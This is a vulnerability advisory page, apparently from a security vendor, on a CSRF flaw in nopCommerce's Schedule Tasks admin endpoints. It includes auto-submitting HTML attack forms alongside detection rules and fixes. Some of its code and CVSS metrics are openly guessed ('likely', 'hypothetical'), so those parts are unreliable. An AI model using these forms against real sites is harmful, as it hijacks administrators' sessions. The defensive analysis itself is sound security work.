CVE-2025-65593
Executive Summary
CVE-2025-65593 identifies a Cross-Site Request Forgery (CSRF) vulnerability in nopCommerce version 4.90.0, specifically within the Schedule Tasks functionality. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing malicious actions, such as modifying or deleting scheduled tasks, without their consent. The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and currently has no known public proof-of-concept (PoC) or patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for organizations using this version.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unavailable)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): None (attacker does not need authentication)
- User Interaction (UI): Required (victim must click a link or visit a malicious page)
- Scope (S): Unchanged
- Confidentiality (C): Low (potential data exposure)
- Integrity (I): High (attacker can modify scheduled tasks)
- Availability (A): Low (potential disruption)
- Threat Level: Medium (due to lack of patch and potential for admin-level actions)
Deep Dive & Mechanics
The vulnerability resides in the Schedule Tasks functionality of nopCommerce 4.90.0. CSRF attacks exploit the trust a web application has in a user's browser by forging requests from an authenticated session. In this case, an attacker can craft a malicious link or form that, when clicked by an authenticated admin, triggers an action like creating, modifying, or deleting scheduled tasks. The application fails to implement anti-CSRF tokens or other validation mechanisms for these operations, allowing unauthorized state changes.
The attack flow:
- Attacker identifies a target nopCommerce admin.
- Attacker crafts a malicious HTML page or email containing a forged request (e.g., a POST to
/Admin/ScheduleTask/Delete/1). - Victim, while authenticated, visits the malicious page.
- The browser automatically sends the forged request with the victim's session cookie.
- The server processes the request, altering scheduled tasks.
Vulnerable vs. Patched Code
Vulnerable Code (nopCommerce 4.90.0): The Schedule Tasks controller likely lacks CSRF protection. Example vulnerable endpoint:
[HttpPost]
public IActionResult Delete(int id)
{
var task = _scheduleTaskService.GetTaskById(id);
if (task == null)
return RedirectToAction("List");
_scheduleTaskService.DeleteTask(task);
return RedirectToAction("List");
}
No [ValidateAntiForgeryToken] attribute is present.
Patched Code (Hypothetical):
[HttpPost]
[ValidateAntiForgeryToken]
public IActionResult Delete(int id)
{
var task = _scheduleTaskService.GetTaskById(id);
if (task == null)
return RedirectToAction("List");
_scheduleTaskService.DeleteTask(task);
return RedirectToAction("List");
}
Additionally, the view should include @Html.AntiForgeryToken() in forms.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target nopCommerce 4.90.0 instance with an authenticated admin session.
- Attacker-controlled web server or ability to host a malicious page.
Step 1: Craft Malicious HTML
Create a file csrf.html:
<html>
<body>
<form action="http://target.com/Admin/ScheduleTask/Delete/1" method="POST" id="csrfForm">
<input type="submit" value="Click me">
</form>
<script>document.getElementById('csrfForm').submit();</script>
</body>
</html>
Step 2: Host and Deliver Host the file on an attacker server and send the link to the admin via email or social engineering.
Step 3: Execute When the admin visits the page, the form auto-submits, deleting the scheduled task with ID 1.
Alternative Payload (Create Malicious Task):
<form action="http://target.com/Admin/ScheduleTask/Create" method="POST">
<input type="hidden" name="Name" value="MaliciousTask">
<input type="hidden" name="Type" value="SomeMaliciousCode">
<input type="submit">
</form>
Blue Team (Defense & Detection)
Detection:
- Monitor for unexpected POST requests to
/Admin/ScheduleTask/endpoints. - Check for unusual referrer headers or missing anti-CSRF tokens.
- Use web application firewalls (WAF) to block requests without proper tokens.
Prevention:
- Apply the
[ValidateAntiForgeryToken]attribute to all state-changing actions. - Ensure all forms include
@Html.AntiForgeryToken(). - Implement SameSite cookies (set to
LaxorStrict). - Educate admins about phishing and CSRF risks.
Indicators of Compromise (IOCs)
- Network: Unusual POST requests to
/Admin/ScheduleTask/with no anti-CSRF token. - Logs: Server logs showing repeated failed CSRF validation attempts (if patched).
- File: Presence of unexpected scheduled tasks in the database.
- Behavior: Admin accounts performing actions without user interaction.
Detection Engineering
YARA Rule
rule nopCommerce_CSRF_ScheduleTasks {
meta:
description = "Detects CSRF exploitation attempts against nopCommerce Schedule Tasks"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65593"
strings:
$s1 = "/Admin/ScheduleTask/" ascii wide nocase
$s2 = "POST" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CSRF Attempt Against nopCommerce Schedule Tasks
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential CSRF attacks targeting nopCommerce Schedule Tasks
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: nopcommerce
detection:
selection:
cs-method: 'POST'
cs-uri-stem|startswith: '/Admin/ScheduleTask/'
condition: selection
falsepositives:
- Legitimate admin actions
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65593 nopCommerce CSRF Schedule Tasks"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/Admin/ScheduleTask/"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Schedule Tasks functionality if not required, or restrict access via IP whitelisting.
- Implement a WAF rule to block POST requests to
/Admin/ScheduleTask/without a valid anti-CSRF token. - Monitor logs for suspicious activity targeting these endpoints.
Long-Term Fix:
- Apply the official patch once released by nopCommerce.
- Upgrade to a patched version (if available).
- Add
[ValidateAntiForgeryToken]to all controller actions and ensure views include@Html.AntiForgeryToken().
Workaround:
- Use custom middleware to validate CSRF tokens for all state-changing requests.
- Enforce SameSite cookies and use
Strictmode.
Valters IT
Securing Digital Frontiers